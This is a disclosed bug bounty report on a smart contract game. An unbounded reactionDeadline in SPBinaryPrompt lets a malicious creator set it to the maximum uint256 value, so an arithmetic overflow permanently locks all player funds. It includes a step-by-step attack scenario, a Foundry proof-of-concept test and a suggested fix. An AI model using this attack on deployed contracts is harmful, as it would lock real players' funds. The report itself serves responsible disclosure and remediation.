Status DataClose notification

Majority Games Disclosed Report

Unbounded reactionDeadline in SPBinaryPrompt Allows Permanent Locking of All Player Funds

Created date

Target

hidden

Vulnerability Details

Vulnerability Details

A critical vulnerability exists in the SPBinaryPrompt contract that allows a malicious creator to permanently lock all funds within a game session. The issue stems from an uncapped reactionDeadline parameter combined with an arithmetic overflow in a critical check required for game finalization.

The core of the vulnerability lies in two areas:

  1. Unbounded Parameter in revealQuestion: The SPBinaryPrompt.sol contract does not enforce an upper limit on the reactionDeadline value when a creator reveals a question. A creator can set this value to an arbitrarily large number, such as type(uint256).max.

  2. Arithmetic Overflow in recordSolution: For a game to be finalized and rewards to be distributed, the DefaultSession contract must successfully call the recordSolution function on the prompt contract. However, SPBinaryPrompt.recordSolution contains the following check:

    // src/prompt/SPBinaryPrompt.sol:218-219
    require(revealTime + q.reactionDeadline < block.timestamp, ReactionDeadlineNotPassed(msg.sender, questionId));
    

    When q.reactionDeadline is type(uint256).max, the addition revealTime + q.reactionDeadline results in an arithmetic overflow in Solidity versions 0.8.0 and higher. This causes the transaction to revert with a panic error, making it impossible for recordSolution to ever be successfully executed.

Since players join a game before question parameters like reactionDeadline are revealed, they have no way of knowing they are entering a maliciously configured game that is designed to lock their funds.

Impact & Attack Scenario

The impact is a permanent Denial of Service (DoS) for fund withdrawal for any game utilizing the SPBinaryPrompt. A creator can wait for a significant prize pool to accumulate from entry fees and sponsorships, and then trigger this condition, ensuring no one can ever claim their rewards or get a refund.

Attack Scenario:

  1. A malicious creator sets up a new game that includes at least one SPBinaryPrompt question.
  2. The creator waits as honest players join, paying their entry fees and increasing the prize pool.
  3. At the game's start time, the creator calls revealQuestion for the SPBinaryPrompt, setting the reactionDeadline parameter to type(uint256).max.
  4. The game proceeds normally and eventually concludes, moving to the Ended state.
  5. The UMA optimistic oracle process begins to determine the winners. After the liveness period, the oracle's callback triggers DefaultSession.recordResults.
  6. recordResults attempts to call SPBinaryPrompt.recordSolution to finalize the question's outcome.
  7. The call to recordSolution immediately reverts due to the arithmetic overflow (revealTime + uint256.max).
  8. Because recordResults fails, the list of winners is never populated in the DefaultSession contract.
  9. Result: The game is now permanently stuck.
    • concludeGame and concludeGameIfCreatorMissing will always revert with a NoWinnersYet error.
    • cancelGameIfCreatorMissing will revert with a GameWaitingForConclusion error because all questions were revealed and this prompt type does not have a "solution pending" state that would allow cancellation.
    • All player funds are locked in the contract forever.

Recommendations

The contract must be hardened to prevent both the overflow and the possibility of an unreasonably long deadline.

Enforce a Maximum reactionDeadline

The most critical fix is to enforce a sensible upper bound on the reactionDeadline, similar to the protection already present in the MajorityChoicePrompt. This completely prevents the overflow and the long-lockup griefing vector.

  • Implementation: In SPBinaryPrompt.sol, add a check within the revealQuestion function.
    // In SPBinaryPrompt.sol, define a constant
    uint256 public constant MAX_REACTION_DEADLINE = 365 days; // Example limit
    
    // In revealQuestion function
    function revealQuestion(bytes memory question, uint256 questionId) external {
        // ... existing logic ...
        if (revealedQuestions[questionId].reactionDeadline < 5 seconds) {
            revealedQuestions[questionId].reactionDeadline = 5 seconds;
        }
        // --- SUGGESTED ADDITION START ---
        if (revealedQuestions[questionId].reactionDeadline > MAX_REACTION_DEADLINE) {
            revealedQuestions[questionId].reactionDeadline = MAX_REACTION_DEADLINE;
        }
        // --- SUGGESTED ADDITION END ---
        revealedAt[questionId] = block.timestamp;
    }
    

Validation steps

Here is a PoC which proves the issue and also the fact that assertionResolvedCallback , concludeGame , concludeGameIfCreatorMissing and cancelGameIfCreatorMissing would revert when the game gets in this state, which basically would lead to a permanent lock of end-user funds. You can add this to FullGameTest.t.sol

 // E2E PoC: SPBinary with extreme reactionDeadline bricks finalization → conclude and cancel paths revert
    function test_SPBinary_LongDeadline_PermanentDoS() public {
        // Fresh game with a specially crafted SPBinary question that has a huge deadline committed at creation
        uint32 s = uint32(block.timestamp + sessionManager.minimumStartDelay() + 1);
        uint32 e = s + 60;

        // Build local question arrays with Q2 having type(uint256).max deadline
        bytes32[] memory hashes = new bytes32[](4);
        address[] memory strategies = new address[](4);
        uint256[] memory salts = new uint256[](4);

        hashes[0] = hash1; strategies[0] = majorityChoicePromptStrategy; salts[0] = salt1;
        hashes[1] = hash2; strategies[1] = majorityChoicePromptStrategy; salts[1] = salt2;
        (SPBinaryPrompt.Prompt memory hugeQ, bytes memory hugeEncoded, bytes32 hugeHash, uint256 hugeSalt) =
            createSPBinaryQuestion("huge deadline", type(uint256).max);
        // Overwrite the third question with huge deadline
        hashes[2] = hugeHash; strategies[2] = spBinaryPromptStrategy; salts[2] = hugeSalt;
        hashes[3] = hash4; strategies[3] = spBinaryPromptStrategy; salts[3] = salt4;

        uint256 gid;
        vm.startPrank(creator);
        gid = sessionManager.createGame(
            s,
            e,
            10 ether,
            10,
            usdc,
            creator,
            hashes,
            strategies,
            sessionStrategy,
            rewardStrategy,
            false
        );
        vm.stopPrank();

        // 3 contestants join
        for (uint256 i = 0; i < 3; i++) {
            vm.startPrank(contestants[i]);
            TestUSDC(usdc).approve(address(sessionManager), 10 ether);
            sessionManager.joinGame(gid);
            vm.stopPrank();
        }

        // Replace the 3rd question with an extreme deadline at reveal (type(uint256).max)
        uint256[] memory qIds = sessionManager.getQuestionsForGame(gid);
        vm.warp(s);
        vm.startPrank(creator);
        DefaultSession(sessionStrategy).setXPTiers(gid, Solarray.uint256s(100, 1));
        FixedRanksReward(rewardStrategy).setRankedRewards(gid, Solarray.uint256s(10_000));
        // Start game with Q0
        sessionManager.startAndRevealGameQuestion(gid, qIds[0], q1Encoded, salts[0]);
        // Reveal Q1
        sessionManager.revealGameQuestion(gid, qIds[1], q2Encoded, salts[1]);

        // Craft a new SPBinary prompt for Q2 with huge deadline and reveal it
        sessionManager.revealGameQuestion(gid, qIds[2], hugeEncoded, salts[2]);
        // Reveal Q3 normally
        sessionManager.revealGameQuestion(gid, qIds[3], q4Encoded, salts[3]);
        vm.stopPrank();

        // End game
        vm.warp(e);
        vm.prank(creator);
        sessionManager.endGame(gid);

        // Try UMA assert and finalization path; recordResults will try to call prompt.recordSolution and fail
        vm.mockCall(
            address(optimisticOracle), abi.encodeCall(OptimisticOracleV3Interface.getMinimumBond, (usdc)), abi.encode(0)
        );
        vm.mockCall(
            address(optimisticOracle),
            abi.encodeWithSelector(OptimisticOracleV3Interface.assertTruth.selector),
            abi.encode(bytes32(uint256(0xBEEF)))
        );

        bytes32 aId = ISessionStrategy(sessionStrategy).assertResults(
            gid,
            "ipfs://results",
            Solarray.addresses(contestants[0]),
            Solarray.uint256s(1),
            Solarray.uint256s(1),
            // Provide solutions; Q2 (SPBinary) will block recordSolution due to overflowed deadline
            Solarray.bytess(abi.encode(uint16(0)), abi.encode(uint16(0)), abi.encode(true), abi.encode(false))
        );

        // Oracle resolves truthfully — but recordResults will revert due to SPBinary deadline overflow
        vm.startPrank(optimisticOracle);
        vm.expectRevert();
        SessionResultAsserter(sessionStrategy).assertionResolvedCallback(aId, true);
        vm.stopPrank();

        // Conclude fails: winners not written due to recordSolution revert
        vm.startPrank(creator);
        vm.expectRevert();
        sessionManager.concludeGame(gid);
        vm.stopPrank();

        // Creator missing path also fails (after grace); still no winners
        vm.warp(e + 1 days);
        vm.expectRevert();
        sessionManager.concludeGameIfCreatorMissing(gid);

        // Cancel-if-creator-missing also fails (all questions revealed; revealSolutionPending false)
        vm.expectRevert();
        sessionManager.cancelGameIfCreatorMissing(gid);
    }

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
Statedisclosed
Severity
Critical
Bounty$2,008
Visibilitypartially
VulnerabilityOther
Participants
hidden